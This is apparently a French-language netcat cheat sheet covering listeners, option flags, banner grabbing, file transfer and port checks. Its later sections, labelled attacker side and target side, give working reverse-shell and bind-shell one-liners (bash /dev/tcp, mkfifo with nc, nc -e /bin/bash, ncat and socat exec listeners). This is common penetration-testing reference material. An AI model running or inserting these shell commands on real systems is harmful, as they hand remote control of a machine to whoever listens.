#Listener et connexion
# Écouter sur toutes les interfaces
nc -lvnp 4444
# Se connecter à un service
nc -nv 10.10.10.10 80
# UDP
nc -luvnp 5353
| Option | Effet |
|---|---|
-l |
Mode écoute |
-v |
Verbeux |
-n |
Pas de résolution DNS |
-p |
Port local |
-u |
UDP |
-k |
Garde le listener ouvert après déconnexion |
-w 3 |
Timeout de connexion |
#Banner grabbing
# HTTP manuel
printf 'HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n' | nc -nv 10.10.10.10 80
# SMTP / FTP / SSH
nc -nv 10.10.10.10 25
nc -nv 10.10.10.10 21
nc -nv 10.10.10.10 22
#Transfert de fichiers
# Receveur
nc -lvnp 9001 > received.tar.gz
# Expéditeur
nc -nv 10.10.10.20 9001 < archive.tar.gz
# Avec progression et intégrité
tar czf - dossier/ | pv | nc -nv 10.10.10.20 9001
sha256sum archive.tar.gz
#Reverse shell
# Côté attaquant
nc -lvnp 4444
# Côté cible (exemple bash)
bash -i >& /dev/tcp/10.10.10.20/4444 0>&1
# Variante sans /dev/tcp
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.20 4444 > /tmp/f
#Bind shell
# Sur la cible
nc -lvnp 4444 -e /bin/bash
# Depuis l'attaquant
nc -nv 10.10.10.10 4444
#Alternatives modernes
# ncat avec TLS et exécution
ncat --ssl -l 4444 --sh-exec /bin/bash --keep-open
# socat : relais TCP et PTY complet
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
# Tester un port rapidement
nc -zvw2 10.10.10.10 22 80 443